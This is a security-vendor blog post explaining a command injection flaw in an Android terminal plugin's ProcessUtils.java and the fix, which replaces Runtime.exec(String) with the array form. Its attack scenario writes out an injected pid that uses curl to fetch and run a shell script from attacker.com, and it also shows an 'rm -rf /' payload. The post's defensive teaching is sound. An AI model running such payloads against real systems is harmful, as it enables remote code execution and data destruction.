Back to Blog
critical SEVERITY5 min read

How command injection happens in Java Runtime.exec() and how to fix it

A critical command injection vulnerability was discovered in `ProcessUtils.java` where process IDs were concatenated directly into shell command strings passed to `Runtime.getRuntime().exec(String)`. This allowed shell metacharacter injection that could execute arbitrary commands. The fix switches to the array-based `exec(String[])` overload, which bypasses shell interpretation entirely.

O
By Orbis AppSec
Published July 31, 2026Reviewed July 31, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Java's `Runtime.getRuntime().exec(String)` within `ProcessUtils.java`. When a single string is passed to `exec()`, it is interpreted by the system shell, allowing metacharacters in the `pid` parameter to chain arbitrary commands. The fix uses the array-based overload `exec(String[])` which passes arguments directly to the OS without shell interpretation, eliminating injection risk.

Vulnerability at a Glance

cweCWE-78
fixSwitch from exec(String) to exec(String[]) to avoid shell metacharacter interpretation
riskArbitrary command execution on the device if pid is influenced by attacker-controlled data
languageJava (Android)
root causeConcatenating untrusted pid values into a single command string passed to shell-interpreted exec(String)
vulnerabilityOS Command Injection via Runtime.exec(String)

How Command Injection Happens in Java Runtime.exec() and How to Fix It

Introduction

The ProcessUtils.java file in src/plugins/terminal/src/android/ handles process lifecycle management for an Android terminal plugin—specifically killing processes and process trees. But a critical flaw at lines 45 and 57 created a command injection vector: the killProcessTree() and killProcess() methods concatenated process IDs directly into command strings passed to Runtime.getRuntime().exec(String).

This matters because the single-string overload of exec() invokes a system shell (/bin/sh -c) to interpret the command, meaning any shell metacharacters in the pid value—semicolons, pipes, backticks—could chain arbitrary commands. For a Node.js library consumed by downstream applications, this vulnerability could cascade to every project that depends on this terminal plugin.

The Vulnerability Explained

Here's the vulnerable code in ProcessUtils.java:

// In killProcessTree() at line 45:
Runtime.getRuntime().exec("kill -9 -" + pid);

// In killProcess() at line 57:
int exitCode = Runtime.getRuntime().exec("kill -9 " + pid).waitFor();

The critical distinction is between the two overloads of Runtime.exec():

  1. exec(String command) — Passes the string to the system shell for parsing. The shell interprets metacharacters.
  2. exec(String[] cmdarray) — Executes the program directly via the OS, with each array element as a separate argument. No shell involved.

When exec("kill -9 -" + pid) is called, the JVM effectively runs:

/bin/sh -c "kill -9 -<pid_value>"

Attack Scenario

Consider what happens if an attacker can influence the pid value. In this terminal plugin context, process IDs might come from process enumeration, inter-process communication, or stored process records. If an attacker manipulates the stored pid to be:

1234; curl http://attacker.com/shell.sh | sh

The resulting command becomes:

/bin/sh -c "kill -9 -1234; curl http://attacker.com/shell.sh | sh"

This executes the kill command, then downloads and executes a malicious script. On Android, this could mean:
- Exfiltrating app sandbox data
- Installing a persistent backdoor
- Pivoting to attack other apps on the device
- Accessing sensitive files within the app's storage

Even if the pid comes from getPid(process) (which extracts the PID from a Process object), the killProcess(int pid) method accepts an int parameter that could originate from untrusted sources in consuming applications. The int type provides some implicit protection, but the pattern itself is dangerous and sets a precedent for copy-paste vulnerabilities.

The Fix

The fix replaces the single-string exec() call with the array-based overload in both methods:

Before (vulnerable):

// killProcessTree() - line 45
Runtime.getRuntime().exec("kill -9 -" + pid);

// killProcess() - line 57
int exitCode = Runtime.getRuntime().exec("kill -9 " + pid).waitFor();

After (fixed):

// killProcessTree() - line 45
Runtime.getRuntime().exec(new String[]{"kill", "-9", "-" + pid});

// killProcess() - line 57
int exitCode = Runtime.getRuntime().exec(new String[]{"kill", "-9", String.valueOf(pid)}).waitFor();

Why This Works

The array-based exec(String[]) does not invoke a shell. Instead, it calls the operating system's execvp() syscall directly:

  • cmdarray[0] = the program to execute ("kill")
  • cmdarray[1] = first argument ("-9")
  • cmdarray[2] = second argument ("-" + pid or String.valueOf(pid))

Even if pid somehow contained "1234; rm -rf /", the OS would try to send signal 9 to a process with the literal name "-1234; rm -rf /", which would simply fail with an error—no command injection possible.

Additionally, note the use of String.valueOf(pid) in killProcess(). Since pid is already an int, this is strictly a type conversion, but it makes the intent explicit and prevents any future refactoring from accidentally introducing string concatenation vulnerabilities.

Prevention & Best Practices

  1. Always use the array form of exec(): In Java, Runtime.exec(String[]) or ProcessBuilder with a list of arguments should be the default choice. Never concatenate values into a single command string.

  2. Use ProcessBuilder for complex process management:
    java ProcessBuilder pb = new ProcessBuilder("kill", "-9", String.valueOf(pid)); Process p = pb.start(); int exitCode = p.waitFor();
    ProcessBuilder is the modern API and makes the array-based invocation natural.

  3. Validate inputs at boundaries: Even with safe execution APIs, validate that PIDs are positive integers before passing them to system calls.

  4. Lint for dangerous patterns: Configure static analysis tools (SpotBugs, Semgrep, ErrorProne) to flag Runtime.getRuntime().exec(String) calls where the argument is a concatenation expression.

  5. Apply the principle of least privilege: Terminal plugins should not run with permissions beyond what's strictly necessary. Consider whether kill -9 is always appropriate or if graceful termination should be attempted first.

Key Takeaways

  • Runtime.exec(String) invokes a shell; Runtime.exec(String[]) does not. This single API choice is the difference between injectable and safe code in ProcessUtils.java.
  • Process IDs seem safe but aren't always. The killProcess(int pid) method accepts external input—downstream consumers may pass attacker-influenced values.
  • The fix is minimal but eliminates the entire attack class. Two lines changed, zero behavioral difference for legitimate use, complete elimination of shell injection.
  • Copy-paste patterns propagate vulnerabilities. Both killProcessTree() and killProcess() used the same dangerous pattern—likely one was copied from the other.
  • Android terminal plugins are high-value targets. They already have process execution capabilities, making command injection particularly dangerous as it extends those capabilities beyond intended bounds.

How Orbis AppSec Detected This

  • Source: The pid parameter in killProcess(int pid) and the return value of getPid(process) in killProcessTree(), which may be influenced by external process data or attacker-controlled input.
  • Sink: Runtime.getRuntime().exec(String) in ProcessUtils.java at lines 45 and 57, where the single-string overload invokes shell interpretation.
  • Missing control: No use of the array-based exec(String[]) overload; no input sanitization to strip shell metacharacters; no validation that pid contains only numeric characters before command construction.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced exec(String) with exec(String[]) in both killProcessTree() and killProcess(), passing command and arguments as separate array elements to bypass shell interpretation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection in ProcessUtils.java demonstrates a subtle but critical distinction in Java's process execution API. The single-string Runtime.exec(String) looks convenient but introduces shell interpretation—and with it, the entire class of command injection attacks. The array-based exec(String[]) is equally simple to use but fundamentally safer because it bypasses the shell entirely.

For any Java or Android developer writing process management code: default to ProcessBuilder or exec(String[]). The single-string form should be treated as a code smell that warrants immediate review. Two lines of code separated a critical vulnerability from a secure implementation.

References

Frequently Asked Questions

What is OS command injection?

OS command injection occurs when an application constructs a system command using untrusted input without proper sanitization, allowing attackers to inject additional commands via shell metacharacters like `;`, `|`, or `&&`.

How do you prevent command injection in Java?

Use `Runtime.getRuntime().exec(String[])` with a string array instead of `exec(String)`. The array form bypasses the shell entirely, passing arguments directly to the operating system's exec syscall, preventing metacharacter interpretation.

What CWE is command injection?

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is input validation alone enough to prevent command injection?

Input validation helps but is not sufficient as a sole defense. The safest approach is to use APIs that avoid shell invocation entirely (like the String[] overload of exec()), combined with input validation as defense-in-depth.

Can static analysis detect command injection?

Yes, static analysis tools like Semgrep, SpotBugs, and CodeQL have rules that detect patterns where user-influenced data flows into shell-interpreted command execution APIs like `Runtime.exec(String)`.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #2557

Related Articles

high

How Quadratic CPU Consumption Vulnerabilities Happen in JavaScript YAML Parsers and How to Fix Them

A high-severity denial-of-service vulnerability in js-yaml versions 3.x and 4.x allowed attackers to trigger quadratic CPU consumption through specially crafted YAML documents using the !!omap tag. This fix upgrades js-yaml from 4.1.1 to 4.3.1 and from 3.14.2 to 3.15.1, eliminating the algorithmic complexity attack vector that could freeze Node.js applications processing untrusted YAML input.

high

How javascript.lang.security.detect-child-process.detect-child-process happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `scripts/build.js` where `execSync` was called with string-interpolated arguments (`sourceDir` and `outputPath`) inside a shell command. By replacing `execSync` with `spawnSync` using an argument array (no shell), the fix eliminates the possibility of shell metacharacter injection while preserving identical build behavior.

high

How Command Injection happens in Node.js child_process and how to fix it

A command injection vulnerability in nix.js's Release class allowed potentially malicious input through the `arch` parameter to be executed via shell commands. The fix replaced `execSync()` with `execFileSync()`, eliminating shell interpretation and preventing command injection by passing arguments as an array instead of a concatenated string.

critical

How Sensitive Data Exposure in Error Logging happens in TypeScript/Deno and how to fix it

A critical vulnerability in Supabase Edge Functions allowed sensitive authentication errors and API credentials to leak through verbose error logging. The `cancel-subscription/index.ts` function logged full error objects to the console, potentially exposing Paddle API keys and auth tokens in deployment logs. The fix sanitizes all error messages to log only safe error text while preserving debugging capability.

critical

How HTTP Header Injection Happens in Go and How to Fix It

A critical vulnerability in the file upload handler allowed attackers to inject CRLF sequences into HTTP response headers through crafted filenames. The fix sanitizes user-supplied filenames before using them in Content-Disposition headers, preventing header injection attacks that could lead to cache poisoning, session fixation, or XSS.

high

How Path Traversal and Security Policy Bypass Happens in Node.js Dependencies and How to Fix It

A high-severity vulnerability in the fast-uri package (CVE-2026-6321) allowed attackers to bypass security policies through improper Unicode hostname canonicalization and path traversal. This issue affected the @apralabs/apra-fleet project through its dependency tree, and was resolved by upgrading fast-uri from version 3.1.0 to 4.1.2 using npm overrides.